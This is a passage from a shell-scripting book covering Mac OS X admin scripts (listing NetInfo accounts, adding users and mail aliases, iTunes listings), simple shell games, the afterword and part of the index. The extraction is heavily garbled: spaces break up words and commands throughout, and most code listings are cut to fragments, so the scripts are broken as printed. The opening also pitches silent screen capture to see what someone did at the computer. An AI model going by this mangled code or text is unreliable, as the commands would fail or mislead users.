sequentially numbered ca ptur e1.t iff, c ap t u re2 . t iff , ... ca pt u re 6 0. ti f f. This could be very useful
for training purposes, or perhaps you're suspicious that someone has been using your computer while you're at lunch:
Set this up, and you can go back and review what occurred without anyone ever knowing.
The Code
# !/ bin / sh
f ie lds = ""
How It Works
Almost this entire script is involved in building the variable f iel d s, which starts out blank. The n i re po r t utility
allows you to specify the names of the fields you'd like to see, and so, for example, if the user specifies -a for all
interesting fields, ni rep or t actually is fed
f ie lds = "ui d nam e real name home she l l "
The Results
First off, let's specify that we want to see the user ID, login name, real name, and login shell for every account in the
NetInfo database:
$ l ist m acu se rs -u -n -r - s
-2 no bo dy U npri vile ged U s er / de v/ nu l l
0 ro ot S yste m Ad minis t rat o r / bi n/ tc s h
1 da em on S yste m Se rvice s /d e v /nu l l
99 un kn own U nkno wn U ser /d e v /nu l l
25 sm ms p S endm ail User /d e v /nu l l
70 ww w W orld Wid e Web Ser v e r / de v/ nu l l
74 my sq l M ySQL Ser ver /d e v /nu l l
75 ss hd s shd Priv ilege sep a r ati o n /d ev / nu l l
5 05 te st 3 M r. T est Three /b i n /tc s h
5 01 ta yl or D ave Tayl or /b i n /ba s h
5 02 ba dg uy T est Acco unt /b i n /tc s h
5 03 te st / bin/t c sh
5 06 ti nt in T inti n, B oy Re p ort e r / bi n/ tc s h
5 07 ga ry G ary Gary /b i n /ba s h
Notice that it shows many of the administrative accounts (basically everything with a login shell of / de v /n ul l ). If we
want to see only login accounts, we'll want to screen out the / d ev /n ul l shells:
$ l ist m acu se rs -u -n -r - s | g r ep - v /d e v /n ul l
0 roo t Sy stem Adm inist r ato r / b in /t cs h
5 05 tes t3 Mr . Te st T hree /bi n / tcs h
5 01 tay lo r Da ve T aylo r /bi n / bas h
5 02 bad gu y Te st A ccou nt /bi n / tcs h
5 03 tes t /b in/tc s h
5 06 tin ti n Ti ntin , Bo y Rep o rte r / b in /t cs h
5 07 gar y Ga ry G ary /bi n / bas h
The bad g uy account isn't supposed to be there! To find out what's going on there, and to modify NetInfo entries, it's
wise to use the Apple-supplied NetInfo Manager application, which can be found in Applications/Utilities or launched
from the command line with the command
o pe n - a "N et Inf o Mana ger"
#94 Adding a User to a Mac OS X System
Earlier in the book, in Script #44, you saw the basic steps involved in adding a new user to a typical Unix or Linux
system. The Mac OS X version is fundamentally quite similar. In essence, you prompt for an account name and login
shell, append the appropriate information to the / e t c / p a s s w d and / e t c / s h a d o w files, create the new user's
home directory, and set an initial password of some sort. With Mac OS X it's not quite this simple, because appending
information to / etc/ p assw d will not create a new Aqua account. Instead, the information must be injected into the
NetInfo system using the niut i l command.
The Code
# ! / b in /s h
e c h o - n "fu l l na m e: " ; re ad f u l l n a m e
# a d di ng th e m to the $ dgro up g r o u p
n i u t il - app e ndpr o p . / grou ps/ $ d g r o u p u s e r s $ l o g i n
i f ! m kd ir - m 75 5 $ho m edir ; t h e n
e c ho " $0: Fail e d ma k ing hom e d i r e c t o r y $ h o m e d i r " > & 2
e c ho " (cr e ated acco u nt i n N e t I n f o d a t a b a s e , t h o u g h . C o n t i n u e b y h a n d ) " > & 2
e x it 1
fi
How It Works
This script checks to ensure that it's being run by r o o t (a non-r o o t user would generate permission errors with each
call to n iu til and the m k dir calls, and so on) and then uses the following test to check whether the specified
account name is already present in the system:
n i r e po rt . / user s nam e | s ed ' s / [ ^ [ : a l n u m : ] ] / / g ' | g r e p " ^ $ l o g i n $ "
You've already seen in Script #93 that n ire p o r t is the easy way to interface with the NetInfo system, so it should be
straightforward that this call generates a list of account names. It uses s e d to strip all spaces and tabs and then uses
g r e p to search for the specified login name, left rooted (^ is the beginning of the line) and right rooted ($ is the end
of the line). If this test succeeds, the script outputs an error and quits.
The script also uses nir e port to extract the highest user ID value in the NetInfo database and then increments it by
1 to generate the new account ID value:
u i d 1 =" $( nir e port . /u s ers uid | s o r t - n | t a i l - 1 ) "
u i d = "$ (( $u i d1 + 1 )) "
Notice the use of the -n flag with so rt to ensure that s o r t organizes its results from lowest to highest (you can
reverse it with - n r instead, but that wouldn't work in this context), and then the use of t a i l - 1 to pull off just the
highest ui d on the list.
The user is then prompted to enter a login shell over and over until either it's matched to an executable program or it's
ascertained to be an empty string (empty strings default to / b i n / s h as the login shell):
u n t i l [ -z " $she l l" - o -x "$s h e l l " ] ; d o
e c ho - n " s hell : " ; rea d s h e l l
done
And finally we're ready to create the actual account in the NetInfo database with n i u t i l . The first line creates an
entry for the account in NetInfo, using -crea t e , and the subsequent account attributes are added with -
c r e a te pr op. Notice that a sp e cial _s h a d o w _ p a s s w d field is created, though its value is left as null. This is
actually a placeholder for the future: NetInfo doesn't store the encrypted password in a secret place. Yet.
Instead of using cp - R to install user files and directories into the new account, the script uses a Mac OS X-specific
utility called dit t o. The dit t o command ensures that any files that might have special resource forks (an Aqua-
ism) are copied intact.
Finally, to force the password to be set, the script simply calls p a s s w d with the special notation that only the root user
can utilize: pas s wd a c coun t , which sets the password for the specified account.
The Results
$ a d dm ac use r
a d d m ac us er: You m ust b e ro ot t o r u n t h i s c o m m a n d .
Like any administrative command, this one must be run as r o o t rather than as a regular user. This is easily solved
with the su do command:
$ s u do a ddm a cuse r
A d d ne w use r acc o unt t o Th eBo x . l o c a l .
l o g i n: g are t h
f u l l n am e: G aret h Tay l or
s h e l l: / bin / bash
S e t t in g up a ccou n t ga r eth for G a r e t h T a y l o r . . .
u i d = 50 8 gi d =31 shel l =/bi n/b a s h h o m e = / U s e r s / g a r e t h
P l e a se e nte r an i niti a l pa ssw o r d f o r g a r e t h :
C h a n gi ng pa s swor d for gare th.
N e w pa ss wor d :
R e t y pe n ew p assw o rd:
D o n e . Ac cou n t se t up a nd r ead y t o u s e .
That's all there is to it. Figure 11-1 shows the login window with account g a r e t h as one of the choices.
Another nice hack might be to automatically email new users a welcome message, so that when they first open up
their mailer there are some basic instructions on how to work with the system, what the default printer is, and any
usage and network access policies.
#95 Adding an Email Alias
While Mac OS X does include a standard Unix mail transport system built around the venerable and remarkably
complex send mai l system, it doesn't enable this system by default. To do that requires a number of complex steps,
a task more complex than we can discuss in this book. If you do have se nd m ai l running on your Mac OS X box,
however, you'll doubtless want to be able to add mail aliases in a simple manner. But mail aliases aren't in
/ et c/a l ias es anymore; they're now part of the NetInfo system. This script offers an easy work-around.
Setting up sendmail A variety of sites offer instructions on how to set up se nd m ai l on your Mac
OS X system, and some simple freeware applications are even available to set
it up automatically. If you want to do it yourself, go to O'Reilly's MacDevCenter
at http://www.macdevcenter.com/ and search for "sendmail," or take the easy
way out and go to Version Tracker at http://www.versiontracker.com/ and,
again, search for "sendmail" to find a variety of freeware configuration utilities.
Make sure the solution you try is for your exact version of Mac OS X.
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
e cho -n "A lia s to c reat e: "
r ead ali as
e ls e
a lia s =$1
fi
e xi t 0
How It Works
If you've studied Script #94, Adding a User to a Mac OS X System, you should immediately see all the similarities
between that script and this one, including the test for r oot user and the invocations to ni ut i l with the flags -
c re ate and -c rea te pro p.
The most interesting snippet in this script is the test to see if the alias already exists:
i f $sh o wal ia ses | gre p "$ {alia s }:" > /de v / nu ll 2 > &1 ; th e n
e cho "$0 : mai l alia s $a lias a lre a d y e x i st s" > & 2
e xit 1
fi
It's a good example of how to properly use the result of a command as a test while discarding any output, either to
s td out or s tde rr . The notation > /dev /n ul l discards st d ou t , of course, and then the odd notation 2 >& 1
causes output device #2, st derr , to be mapped to output device #1, s t do ut , also effectively routing s td e rr to
/ de v/n u ll.
The Results
$ s udo add ma cal ia s
A li as t o c re ate : gare th
p oi nti n g t o: ga re th@h otma il.co m
A li as g are th cr ea ted with out i n cid e n t.
The Code
# ! /bi n /sh
i f [ $ # -e q 0 ] ; then
e cho "Us ag e: $0 tit le" >&2
e xit 1
e ls e
e cho -ne " \03 3] 0;$1 \007 "
fi
e xi t 0
How It Works
The Terminal application has a variety of different secret escape codes that it understands, and the ti t le te r m script
sends a sequence of E SC ] 0 ; ti tle B E L, which changes the title to the specified value.
The Results
There's no apparent output from the command:
$ t itl e ter m $(p wd )
However, it instantly changes the title of the Terminal window to the present working directory.
If you run either the t cs h shell (the default login shell for 10.2.x) or the ba sh shell (the default shell for 10.3.x, the
so-called Panther release of Mac OS X), you can drop one of the commands above into your .c sh r c or . ba s hr c,
and, starting the next time you open up a Terminal window, you'll find that your window title changes each time you
move into a new directory!
#97 Producing Summary Listings of iTunes Libraries
If you've used the excellent Mac OS X application iTunes for any length of time, you're sure to have a massive playlist
of CDs that you've scanned, downloaded, swapped, or what-have-you. Unfortunately, for all its wonderful capabilities,
iTunes doesn't have an easy way to export a list of your music in a succinct and easy-to-read format. Fortunately, it's
not hard to write a script to offer this functionality.
The Code
# !/ bin / sh
m us icl i b=" /$ (gr ep '>M usic Fold e r<' " $it u n ec on fi g " | c ut -d / - f5 - | \
cut -d\ < -f1 | sed 's/ %20/ / g') "
How It Works
Like many modern computer applications, iTunes expects its music library to be in a standard location in this case
~ /M usi c /iT un es Mu sic Libr ary/i T une s Lib r a ry / but allows you to move it elsewhere if desired.
The script needs to be able to ascertain the different location, and that's done by extracting the M u si c F ol de r field
value from the iTunes preferences file. That's what this pipe accomplishes:
m us icl i b=" /$ (gr ep '>M usic Fold e r<' " $it u n ec on fi g " | c ut -d / - f5 - | \
cut -d\ < -f1 | sed 's/ %20/ / g') "
The preferences file ($ itu ne conf ig) is an XML data file, so it's necessary to do some chopping to identify the
exact M usic Fol de r field value. Here's what the M usi c Fol d er value in my own iTunes config file looks like:
f il e:/ / loc al hos t/ Volu mes/ 110GB / iTu n e s%2 0 L ib ra ry /
The Mus i c F ol der value is actually stored as a fully qualified URL, interestingly enough, so we need to chop off
the f ile:/ /lo ca lho st / prefix, which is the job of the first c ut command. Finally, because many directories in
Mac OS X include spaces, and because the Mu s ic F o lde r field is saved as a URL, all spaces in that field are
mapped to % 20 sequences and have to be restored to spaces by the s ed invocation before proceeding.
With the Music Folder name determined, it's now easy to generate music lists on two Macintosh systems (or even an
iPod!) and then use the di ff command to compare them, making it a breeze to see which albums are unique to one
or the other system and perhaps to sync them up.
The Results
$ i tun e lis t | h ea d
Y ou r m u sic l ibr ar y is at /Volu m es/ 1 1 0GB / i Tu ne s L ib ra r y/
A co ust i c A lc hem y/ Blue Chi p
A co ust i c A lc hem y/ Red Dust & Sp a nis h Lac e
A co ust i c A lc hem y/ Refe renc e Poi n t
A dr ian Leg g/ Mrs . Crow e's Blue W alt z
A l Jar r eau /H eav en And Ear th
A la n P a rso ns Pr oj ect/ Best Of T h e A l a n P a r so ns P r oj ec t
A la n P a rso ns Pr oj ect/ Eve
A la n P a rso ns Pr oj ect/ Eye In Th e Sk y
A la n P a rso ns Pr oj ect/ I Ro bot
The Code
# !/ bin / sh
e xi t 0
How It Works
This script revolves around the open program having a zero return code upon success and a nonzero return code
upon failure.
i f ! $ o pen " $@" > /dev /nul l 2>& 1 ; t h en
i f ! $op en -a " $@" >/de v/nul l 2> & 1 ; t h en
If the supplied argument is not a filename, the first conditional fails, and the script tests to see if the supplied argument
is a valid application name by adding -a. If the second conditional fails, the script uses a ca se statement to test for
common nicknames that people use to refer to popular applications:
c as e $ ( ech o $1 | tr ' [:up per:] ' '[ : l owe r : ]' ) in
And it even offers a friendly message when it matches a nickname, just before launching the named application:
$ o pen 2 ex ce l
Y ou as k ed fo r e xc el b ut I thin k yo u mea n Mi cr os o ft E x ce l .
The Result
Without this wrapper, an attempt to open the application Microsoft Word fails:
$ o pen "Mi cr oso ft Wor d"
2 00 3-0 9 -20 2 1:5 8: 37.7 69 o pen[2 5 733 ] No s u ch f il e :
/ U ser s/ tay lo r/De skto p//Mi c ros o f t W o r d
Rather a scary error message, actually, though it occurred only because the user did not supply the -a flag. The same
invocation with the o pen 2 script shows that it is no longer necessary to remember the -a flag:
$ o pen 2 "M ic ros of t Wo rd"
$
No output is good: The application launched and was ready to use. To make this script maximally useful, I've included
a series of nicknames for common Panther (Mac OS X 10.3) applications, so while op en -a w o rd definitely won't
work, o pen2 wo rd works just fine.
Overview
Up to this point, we've been pretty focused on serious and important uses of shell scripts to improve your interaction
with your Unix/Linux system and make the system more flexible and powerful. But there's another side to shell scripts
that's worth exploring just briefly as the book wraps up, and that's games.
Don't worry I'm not proposing that we write a new version of The Sims as a shell script. It just turns out that there
are a number of simple games that are easily and informatively written as shell scripts, and, heck, wouldn't you rather
learn how to debug shell scripts by working with something fun than with some serious utility for suspending user
accounts or analyzing Apache error logs?
Here are two quick examples up front to show you what I mean. First off, long-time Usenet readers know about
something called rot13, a simple mechanism whereby off-color jokes and obscene text are obscured to make them a
bit less easily read. It's what's called a substitution cipher, and it turns out to be remarkably simple to accomplish in
Unix.
Here's an example:
$ e cho "So t wo pe ople wal k int o a b a r.. . " | t r ' [a -z A -Z ] ' '[ n -z a- m N- ZA - M] '
F b gjb crb cy r j ny x va gb n one. . .
Another short example is a palindrome checker. Type in something you believe is a palindrome, and it'll test it to see:
t es tit = "$( ec ho $@ | s ed ' s/[^[ : alp h a :]] / / g' | t r ' [: u pp e r: ]' '[ :l o we r: ] ') "
b ac kwa r ds= "$ (ec ho $te stit | re v )"
The logic here: A palindrome is a word that's identical forward or backward, so the first step is to remove all
nonalphabetic characters and then ensure that everything is lowercase. Then the Unix utility r e v reverses the letters in
a line of input. If the forward and backward versions are the same, we've got a palindrome, and if they differ, we don't.
The three short games presented in this final chapter are only a bit more complex, but all will prove fun and worth
adding to your system, I'm sure. All three require separate data files, however, which you can most easily obtain from
my website. For the word list, load and save the file at
h tt p:/ / www .i ntu it ive. com/ wicke d /ex a m ple s / lo ng -w o rd s. t xt , and for the state capitals data file
download ht tp :// ww w.i nt uiti ve.c om /w i c ked / e xam p le s /s ta t e. c ap it a ls .t x t
Save both of the files in the directory /us r/li b / gam e s / for the scripts to work as written, or, if you save them
elsewhere, modify the scripts to match.
#99 Unscramble: A Word Game
If you've seen the Jumble game in your newspaper or played word games at all, you're familiar with the basic concept
of this game: A word is picked at random and then scrambled. Your task is to figure out and guess what the original
word is in the minimum number of turns.
The Code
# !/ bin / sh
s cr amb l ewo rd ()
{
# Pi c k a w ord r ando mly from t he w o rdl i b , an d s cr am b le it .
# Or i gin al wo rd is $mat ch an d sc r a mbl e d w or d i s $s c ra m bl ed
if [ ! -r $w ord li b ] ; th en
e cho "$0 : Mis si ng w ord libra r y $ w o rdl i b " >& 2
e cho "(o nl ine : http ://w ww.in t uit i v e.c o m /w ic ke d /e xa m pl e s/ lo n g- wo r ds .t x t" > & 2
e cho "sa ve th e file as $word l ib a n d y o u 'r e re a dy t o p l ay !) " > &2
e xit 1
fi
s cra m ble wo rd
e cho ""
e cho "Yo u nee d to u nscr amble : $s c r amb l e d"
g ues s ="? ?" ; gu esse s=0
t ota l =$( ($ tot al + 1 ))
w hil e [ "$ gue ss " != "$m atch" -a " $ gue s s " != " q ui t" -a "$ gu e ss " ! = "n e xt " ]
do
ec h o " "
ec h o - n "Yo ur gue ss ( quit| n ext ) : "
re a d g ue ss
e xi t 0
How It Works
To randomly pick a single line from a file, this script uses Script #76, Displaying Random Text, even though it was
originally written to work with web pages. Like many good Unix utilities, it turns out to be a useful building block in
other contexts than the one it was intended for:
m at ch= " $($ ra ndo mq uote $wo rdlib ) "
The toughest part of this script was figuring out how to scramble a word. There's no handy Unix utility for that, but
fortunately it turns out that if we assemble the scrambled word by going letter by letter through the correctly spelled
word and randomly adding each subsequent letter to the scrambled sequence at either the beginning or the end of the
sequence, we quite effectively scramble the word differently and unpredictably each time:
i f [ $ ( per l -e "p rint int rand ( 2)" ) -eq 1 ] ; t h en
s cra m ble d= $sc ra mble d$(e cho $ m atc h | c u t - c$ va l )
e ls e
s cra m ble d= $(e ch o $m atch | cu t -c $ v al) $ s cr am bl e d
fi
Notice where $ sc ram bl ed is located in the two lines: In the first line the added letter is appended, while in the
second it is prepended.
Otherwise the main game logic should be easily understood: The outer w hi le loop runs until the user enters q ui t
as a guess, while the inner loop runs until the user either guesses the word or types n e xt to skip to the next word.
The Results
$ u nsc r amb le
P ic ked out a wo rd !
P ic ked out a wo rd !
The Code
#! / b in/ s h
if [ ! - r $w o rd li b ] ; t h en
e c ho " $0 : M is si n g wo r d li b r a ry $w o rdli b " >& 2
e c ho " (o nl i ne : h t t p: / / w ww . i n tu iti v e.co m /wic ke d/ exa mp les /l ong -w ord s. txt " >& 2
e c ho " sa ve th e f i l e a s $w o r d li b a n d yo u 're re ad y t o pla y! )" >& 2
e x it 1
fi
i f [ $ ga me s - gt 0 ] ; t he n
ech o " "
ech o " ** * N ew G a me ! * ** "
fi
w h ile [ "$ g ue ss " ! = " $ m at c h " - a " $ gues s " != " qu it" ] ; do
How It Works
The tests in this script are all interesting and worth examination. Consider this test to see if the player has entered
more than a single letter as his or her guess:
el i f [ $ (e ch o $ gu e s s | w c - c | s ed ' s/[^ [ :dig it :] ]// g' ) - ne 2 ] ; t he n
Why test for the value 2 rather than 1? Because the entered value has a carriage return appended by the r ead
statement, and so it has two letters if it's correct, not one. The sed in this statement strips out all nondigit values, of
course, to avoid any confusion with the leading tab that wc likes to emit.
Testing for lowercase is straightforward: Remove all lowercase letters from gue ss and see if the result is zero (empty)
or not:
el i f [ ! - z " $( ec h o $g u e s s | s ed 's / [[:l o wer: ]] // g') " ] ; t hen
And, finally, to see if the user has guessed the letter already, transform the guess such that any letters in gue ss that
also appear in the g u es se d variable are removed, and see if the result is zero (empty) or not:
el i f [ - z "$ ( ec ho $ g ue s s | s e d " s/[ $ empt y $gue ss ed ]// g" )" ] ; t he n
Apart from all these tests, however, the trick behind getting ha ng man to work is to translate into dashes all
occurrences in the original word of each guessed letter and then to compare the result to the original word. If they're
different, the guessed letter is in that word:
el i f [ " $( ec h o $m a t c h | s ed " s /$ gue s s/-/ g ")" != " $ma tc h" ] ; t he n
One of the key ideas that made it possible to write hangman was that the partially filled-in word shown to the player,
the variable pa rt i al , is rebuilt each time a correct guess is made. Because the variable gue ss ed accumulates
each letter guessed by the player, a s ed transformation that translates into a dash each letter in the original word that
is not in the gu es s ed string does the trick:
pa r t ial = "$ (e c ho $ m a t ch | se d " s/ [^$ e mpty $ {gue ss ed }]/ -/ g") "
The Results
$ h a ngm a n
** * New Ga me ! * **
st e p s f r om g a ll ow s : 6, w o rd s o f ar: ---- - ---- -
Gu e s s a le tt e r: q u i t
Finally, if you were motivated, it'd be nice to have the guessed letters list be sorted alphabetically. There are a couple
of approaches to this, but I think I'd try to use se d |sor t .
#101 A State Capitals Quiz
Once you have a tool for choosing a line randomly from a file, as we have with Script #76, Displaying Random Text,
there's no limit to the type of quiz games you can write. In this instance, I've pulled together a list of the capitals of all
50 states in the United States of America; this script randomly chooses one, shows the state, and asks the user to type
in the matching capital.
The Code
# ! / b in /s h
# s t at es - A sta t e ca p ital gu e s s i n g g a m e . R e q u i r e s t h e s t a t e c a p i t a l s
# da ta fi l e at http : //ww w.i n t u i t i v e . c o m / w i c k e d / e x a m p l e s / s t a t e . c a p i t a l s . t x t .
if [ ! - r $ d b ] ; the n
e c ho " $0: Can' t ope n $db fo r r e a d i n g . " > & 2
e c ho " (ge t htt p ://w w w.in tui t i v e . c o m / w i c k e d / e x a m p l e s / s t a t e . c a p i t a l s . t x t " > & 2
e c ho " sav e the file as $ db a n d y o u ' r e r e a d y t o p l a y ! ) " > & 2
e x it 1
fi
e c ho " "
e c ho " Wha t cit y is t he c api t a l o f $ s t a t e ? "
w h il e [ " $ gues s " != "$ma tch " - a " $ g u e s s " ! = " n e x t " - a " $ g u e s s " ! = " q u i t " ]
do
ec ho -n "Ans w er: "
re ad gu e ss
if [ "$ g uess " = " $ matc h" - o " $ g u e s s " = " $ c i t y " ] ; t h e n
ec ho " "
ec ho " *** A bsol u tely co r r e c t ! W e l l d o n e ! * * * "
co rre c t=$( ( $co r rect + 1 ) )
gu ess = $mat c h
el if [ " $gue s s" = "nex t" - o " $ g u e s s " = " q u i t " ] ; t h e n
ec ho " "
ec ho " $cit y is t he c api t a l o f $ s t a t e . "
el se
ec ho " I'm a frai d tha t's n o t c o r r e c t . "
fi
d o ne
done
How It Works
For such an entertaining game, sta tes is very simple scripting. The data file contains state/capital pairs, with all
spaces in the state and capital names replaced with dashes and the two fields separated by a single space. As a
result, extracting the city and state names from the data is easy:
s t a t e= "$ (ec h o $t h iske y | c ut - d \ -f1 | sed 's/-/ /g')"
c i t y= "$ (ec h o $t h iske y | c ut - d \ -f2 | sed 's/-/ /g')"
Each guess is compared against both the all-lowercase version of the city name (m a t c h ) and the actual correctly
capitalized city name to see if it's correct. If not, the guess is compared against the two command words n e x t and
q u i t . If either matches, the script shows the answer and either prompts for another state or quits, as appropriate.
The Results
Ready to quiz yourself on state capitals?
$ s t at es
W h a t c it y i s the capi t al o f I n d i a n a ?
A n s w er : Blo o ming t on
I ' m af ra id t hat' s not corr ect .
A n s w er : Ind i anap o lis
* * * Ab so lut e ly c o rrec t ! We ll d o n e ! * * *
W h a t c it y i s the capi t al o f M a s s a c h u s e t t s ?
A n s w er : Bos t on
* * * Ab so lut e ly c o rrec t ! We ll d o n e ! * * *
W h a t c it y i s the capi t al o f W e s t V i r g i n i a ?
A n s w er : Cha r lest o n
* * * Ab so lut e ly c o rrec t ! We ll d o n e ! * * *
W h a t c it y i s the capi t al o f A l a s k a ?
A n s w er : Fai r bank s
I ' m af ra id t hat' s not corr ect .
A n s w er : Anc h orag e
I ' m af ra id t hat' s not corr ect .
A n s w er : Nom e
I ' m af ra id t hat' s not corr ect .
A n s w er : Jun e au
* * * Ab so lut e ly c o rrec t ! We ll d o n e ! * * *
W h a t c it y i s the capi t al o f O r e g o n ?
A n s w er : qui t
Fortunately, the game tracks only ultimately correct guesses, not how many incorrect guesses you made or whether
you popped over to Google to get the correct answer! :-)
As with other games, a "hint" function would be useful too. Perhaps it would show the first letter of the correct answer
when requested but keep track of how many hints were used as the play proceeded.
Although this game is written around state capitals, it would be quite trivial to modify the script to work with any sort of
paired data file. For example, you could create an Italian vocabulary quiz with a slightly different file, or a country/
currency match, or even a politician/political party quiz. Again, as we've seen repeatedly in Unix, writing something that
is reasonably general purpose allows it to be reused in useful and occasionally unexpected ways.
Afterword
This marks the end of Wicked Cool Shell Scripts. Thank you for being part of this journey into the wild interior of shell
scripting. I've really had a fun time writing and developing all of the scripts in this book, and it's significantly improved
my Unix and Mac OS X working environment! I can only hope that this book has expanded your horizons similarly, both
showing you the tremendous power and capability of the Unix shell, and offering you many ideas about basic
algorithms and savvy ways to approach seemingly tough programming problems.
Please let me know how you liked the book, which scripts are your favorites, and which, if any, hiccupped on your
particular version of Unix, Linux, or Mac OS X. You should also check in occasionally on the book's website for errata
and new scripts, and you can even browse a library of scripts that were axed for the book but might still be interesting
reading. Go to htt p: //w ww .int uiti ve .c o m /wi c k ed/ and you'll find everything you need to continue your
journey toward becoming a Shell Script Maven.
Best regards,
Dave Taylor
<taylor@intuitive.com>
Index
Note: Italicized page numbers refer to tables and illustrations.
Symbols
$() notation, 49, 57, 151
$#varname notation, 97
$$ notation, 39
$(()) sequence, 29, 30
${#var} notation, 98
${var%${var#?}} method, 1213
${var%pattern} call, 13
${varname:?"errorMessage"} notation, 134
${varname:start:size} function, 13
${varvalue%${varvalue#?}} notation, 134
% mod function, 39
\\n notation, 174
^V sequence, 35
~account service, 126
<< notation, 30
>/dev/null notation, 52, 308
\033 sequence, 35
2>&1 notation, 233, 308
Index
A
access_log file, 25660
accounts
admin, 243
badguy, 302
password-protected, 17172
user accounts
deleting, 12931
listing all, 24142
suspending, 12729
virtual host, 29095
AccuWeather site, 181
Adams, Cecil, 210
addagenda script, 86, 8688 , 90
adding users, 12427 , 3027
addmacalias script, 3079
addmacuser script, 3027
adduser script, 12427
addvirtual script, 29095
admin account, 243
administration, Internet. See web and Internet administration
administration, system. See managing users; system maintenance
agenda script, 86, 8991
alphanumeric input, validating, 1315
American National Standards Institute sequences. See ANSI color sequences
ANSI color sequences, 3335
Apache access_log file, 25660
Apache error_log file, 26468
Apache passwords, 23744
apm script, 23744
code, 23740
hacking, 24344
how works, 24143
results of, 243
running, 243
apm-footer.html file, 238, 242
apropos command, 63
arbitrary-precision floating-point calculator, 2931
archivedir script, 16163
archives
remote, 26871
removed, 4953
archiving files, as removed, 4749
args variable, 262
aspell spelling utility, 235
awk command, 52, 57, 94, 146, 285
awk script, 119, 168, 184
Index
B
backing up directories, 16163
backup script, 15860
backups, managing, 15860
badguy account, 302
basename, 48
bash shell, 3, 310
BBC news, tracking with lynx, 17275
bbcnews script, 17275
bc program, 29, 30, 86
bestcompress script, 1079
/bin/sh login shell, 304
books, checking overdue at library, 18286
Bourne Shell scripts, 3
broken external links, 23235
Index
C
\c escape sequence, 10
calc script, 7375
calculating
currency values, 18892
loan payments, 8486
calculators
floating-point arbitrary-precision, 2931
interactive, 7375
case statement, 241, 313
cat command, 46, 212, 270
Census Bureau, 180
CGI environment, 2045
CGI scripts, 201, 203
cgi-bin directory, 203, 243
cgrep script, 1024
changetrack script, 196, 196200
chattr command, 55
checkexternal script, 23235
checkfor function, 267
checkForCmdInPath method, 13
checking spelling, 7576
checklibrary script, 18286
checklinks script, 178, 23032
checkspelling script, 7576
chown command, 293
Christiansen, Tom, 3
code element, 183
color sequences, ANSI. See ANSI color sequences
commands, user. See user commands
compress program, 104, 106
compressed files
code, 1047
ensuring maximally compressed files, 1079
connecttime script, 16668
contact forms, processing, 21114
contactus.html. web page, 213
content mirroring, 244
convertatemp script, 8284
counter script, 22125
cron jobs, 15254
code, 15253
crontab entries, validating, 14752
code, 14850
hacking script, 152
results of script, 151
running script, 151
crontab file, 147, 151, 285
.cshrc file, 123
curl utility, 171
currency values, calculating, 18892
cut command, 20, 86, 262, 311
Index
D
date command, 66, 69, 90, 139, 220
date formats, normalizing, 1518
date format string, 141
date, system, 13941
debugging shell scripts, 3841
define script, 17880
defining words, 17880
.deleted-files directory, 47, 49
deleteuser script, 124, 12931
deleting user accounts, 12931
/dev/null directory, 23334
/dev/null shells, 302
df command, 117
df output, improving readability of, 11820
dictionary, adding, 8082
diff command, 311
DIR script, 6163
directories
See also names of specific directories
backing up, 16163
code, 5657 , 16162
displaying contents of, 5658
synchronizing with ftp, 24447
Directory block, 293
disk quota exceeded error message, 116
diskhogs script, 11517
disks
analyzing usage, 11314
available space, 11718
reporting hogs, 11517
diskspace script, 11718
ditto command, 305
docron, 154
docron script, 15254
downloading files, 16972
du command, 113
Index
E
echo function, 10, 2729
echon script, 2829 , 3637
email
adding alias, 3079
turning web pages into, 21011
enabled script, 14144
enabled services, 14144
env command, 204
environment variables, 10
error_log file, 26468
escape sequences, 219
/etc/crontab file, 153
/etc/passwd file, 113, 125, 126
/etc/skel directory, 126
eval function, 106, 140
events, keeping track of, 8691
code, 8689
hacking script, 91
results of script, 9091
exceeds disk quota message, 114
exchangerate script, 19192
Extensible Markup Language (XML), 166
external links, broken, 23235
extracting URLs from web pages, 17578
Index
F
File Transfer Protocol (FTP). See FTP (File Transfer Protocol)
filelock script, 3133
filenames, 5861
files
archiving as removed, 4749
compressed, 1047
displaying with additional information, 9596
displaying with line numbers, 9495
downloading via FTP, 16972
locating by filename, 5861
locked, 3133
logging removals, 5455
removed archives, 4953
rotating log, 15458
synchronizing with sftp program, 24953
find function, 53, 114, 123, 157
findman script, 6366
findsuid script, 13839
fixguest script, 13536
floating-point calculator, 2931
floating-point input, 2224
fmt command, 45, 96, 97, 116
footer.html file, 215, 221
formatdir script, 5658
forms, contact, 21114
fquota script, 11314 , 11516
Free Software Foundation, 3
FTP (File Transfer Protocol)
downloading files via, 16972
making sftp look like, 100101
synchronizing directories with, 24447
tracking usage, 27680
ftpget script, 16972
ftpsyncdown script, 192, 24749
ftpsyncup script, 24448
Index
G
games, 31527
hangman, 32024
state capitals quiz, 32427
unscramble word, 31619
getdope script, 21011
getexchrate script, 18892 , 194
getlinks script, 17578
getstats script, 28081 , 28485
getstock script, 19395
gmk function, 57
GNU-style flags, 98100
grep program, 65, 1024 , 118, 234, 267
guest books, 21721
guestbook script, 21721
guestbook.txt file, 21920
guests, cleaning up after, 13536
Index
H
hacks, webmaster. See webmaster hacks
hangman game, 32024
header.html file, 215, 221
here document capability, 30
hilow script, 3841
hint function, 327
Holbrook, Bill, 2089
/home directory, 113
.htaccess file, 23738 , 241, 243
.htpasswd file, 241, 243
htpasswd program, 237, 241, 243
httpd.conf file, 66, 29394
Index
I
id applications, 13839
IEEE (Institute for Electrical and Electronic Engineers), 10
if statements, 22
IFS (internal field separator), 134, 242
ImageMagick tool, 216
IMDb (Internet Movie Database), 18688
in_path() function, 134
inetd service, 14142
inpath script, 1013
input
alphanumeric, 1315
floating-point, 2224
integer, 2022
Institute for Electrical and Electronic Engineers (IEEE), 10
integer input, 2022
code, 2021
hacking script, 22
results of script, 22
running script, 21
interactive calculator, 7375
code, 74
results of script, 75
running script, 75
internal field separator (IFS), 134, 242
internal links, 23032
Internet Movie Database (IMDb), 18688
Internet server administration, 25595
See also web and Internet administration; web and Internet users
adding new virtual host accounts, 29095
avoiding disaster with remote archive, 26871
exploring Apache access_log, 25660
exploring Apache error_log, 26468
mirroring websites, 27275
monitoring network status, 28086
code, 28183
how works, 28485
results of script, 286
running script, 28586
renicing tasks by process name, 28690
tracking FTP usage, 27580
understanding search engine traffic, 26064
ispell command, 76, 77, 81
itunelist script, 31012
iTunes libraries, 31012
Index
K
Kevin & Kell comic strip, 208209
kill processes, 14447
killall command, 144
killall script, 14447
Index
L
large numbers, presenting, 1820
lastcmd variable, 176
latitude/longitude information, 180
left-rooting, 146
libraries
checking overdue books at, 18286
iTunes, 31012
shell script, 3638
.library.account.info database library, 184
library.sh script, 36
